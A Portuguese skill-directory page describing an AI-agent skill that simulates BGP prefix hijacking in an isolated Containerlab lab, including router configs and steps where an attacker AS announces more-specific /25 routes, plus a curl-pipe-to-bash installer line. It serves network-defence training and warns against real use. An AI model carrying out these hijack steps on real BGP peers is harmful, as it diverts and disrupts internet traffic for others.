Pular para o conteúdo
Skillpedia
Diversos35 mil · #5738

exploiting-bgp-hijacking-vulnerabilities

Faz seu agente analisar e simular ataques de sequestro de rotas na internet. Ele testa defesas contra ataques que desviam o tráfego de rede.

O que ela faz

Esta ferramenta simula ataques de sequestro de rotas BGP em um ambiente de laboratório seguro. Ela ajuda a verificar se suas defesas estão preparadas para proteger a infraestrutura de internet contra anúncios de rotas falsas.

Quando usar

  • ✓Testar a segurança da sua rede contra sequestro de rotas.
  • ✓Verificar se seu sistema de monitoramento detecta anúncios de rotas não autorizados.
  • ✓Treinar equipes de rede em como lidar com ataques de roteamento.

Exemplo do que pedir para a IA

“Simule um ataque de sequestro de rota BGP no meu laboratório para ver como minhas defesas reagem.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Você configura um ambiente de rede simulado com roteadores virtuais. Em seguida, simula anúncios de rotas legítimas e, depois, anúncios falsos para ver como o tráfego é desviado e se os sistemas de segurança detectam a anomalia.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-bgp-hijacking-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades de Sequestro de BGP

Quando Usar

  • Avaliar a exposição de uma organização a ataques de sequestro de prefixos BGP e vazamentos de rotas.
  • Testar a implementação de RPKI (Resource Public Key Infrastructure) e a eficácia da validação de origem de rotas.
  • Validar se os sistemas de monitoramento e alerta BGP detectam anúncios de rotas não autorizados.
  • Simular sequestro de BGP em ambientes de laboratório isolados para treinar equipes de operações de rede.
  • Avaliar configurações de filtragem de prefixos e autorização de origem de rotas (ROA) de ISPs.

Não use para realizar sequestro de BGP real na internet ativa, contra peers BGP sem autorização, ou para interromper a infraestrutura de roteamento real da internet. Ataques BGP em sistemas de produção são ilegais e podem causar interrupções generalizadas na internet.

Pré-requisitos

  • Ambiente de laboratório BGP isolado usando GNS3, EVE-NG ou Containerlab com roteadores virtuais (FRRouting, BIRD ou Cisco IOS).
  • Compreensão dos atributos de caminho BGP, caminho AS, anúncios de prefixos e seleção de rotas.
  • Acesso a servidores BGP looking glass e validadores RPKI para monitorar o status de rotas do mundo real.
  • Ferramentas bgpstream, RIPEstat e BGPalerter para monitoramento de rotas.
  • Autorização por escrito para qualquer teste que envolva números AS reais ou anúncios de prefixos.

Fluxo de Trabalho

Etapa 1: Construir um Ambiente de Laboratório BGP Isolado

# Install Containerlab for BGP simulation
sudo bash -c "$(curl -sL https://get.containerlab.dev)"

# Create a BGP lab topology file
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
  nodes:
    # Legitimate AS (AS65001) announcing 10.0.0.0/24
    legitimate-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - legitimate-frr.conf:/etc/frr/frr.conf
    # Attacker AS (AS65002) that will hijack the prefix
    attacker-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - attacker-frr.conf:/etc/frr/frr.conf
    # Transit provider (AS65000) connecting both
    transit-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - transit-frr.conf:/etc/frr/frr.conf
    # Victim network receiving routes
    victim-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - victim-frr.conf:/etc/frr/frr.conf
  links:
    - endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
    - endpoints: ["attacker-router:eth1", "transit-router:eth2"]
    - endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF

# Configure legitimate router (AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
 bgp router-id 1.1.1.1
 neighbor 10.0.1.2 remote-as 65000
 address-family ipv4 unicast
  network 10.0.0.0/24
  neighbor 10.0.1.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.1.1/30
!
interface lo
 ip address 10.0.0.1/24
EOF

# Configure attacker router (AS65002) -- initially not announcing the prefix
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
 bgp router-id 2.2.2.2
 neighbor 10.0.2.2 remote-as 65000
 address-family ipv4 unicast
  neighbor 10.0.2.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.2.1/30
EOF

# Deploy the lab
sudo containerlab deploy -t bgp-lab.clab.yml

Etapa 2: Verificar o Roteamento BGP Legítimo

# Connect to victim router and verify route to 10.0.0.0/24
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"

# Expected: Route via AS65000 AS65001 (legitimate path)
# Verify traceroute follows the legitimate path
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1

# Check BGP table on transit router
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"

Etapa 3: Simular Sequestro de Prefixo (Rota Mais Específica)

# No roteador atacante, anunciar prefixos mais específicos
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/25
  network 10.0.0.128/25
 exit-address-family
!
interface lo
 ip address 10.0.0.1/25
 ip address 10.0.0.129/25
exit
end
write memory
VTYSH

# Verificar o sequestro no roteador vítima
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"

# A vítima agora deve preferir as rotas /25 via o atacante

…
Perguntas frequentes

O que é BGP?

BGP (Border Gateway Protocol) é o sistema que os roteadores usam para decidir como enviar dados pela internet. É como o sistema de correios da internet, que direciona os pacotes de dados para o destino correto.

O que é sequestro de rota BGP?

É quando alguém anuncia falsamente que tem o controle de um caminho de rede (prefixo IP) que não lhe pertence, desviando o tráfego para si mesmo. É como se um carteiro dissesse que uma caixa de correio é dele quando não é.

Posso usar isso na internet real?

Não! Esta ferramenta só deve ser usada em ambientes de laboratório isolados. Usá-la na internet real é ilegal e pode causar interrupções graves.

Detalhes

Descrição original do autor

Analyzes and simulates BGP hijacking scenarios in authorized lab environments to assess route origin validation, RPKI deployment, and BGP monitoring defenses against prefix hijacking and route leak attacks on internet routing infrastructure. '

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5738
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas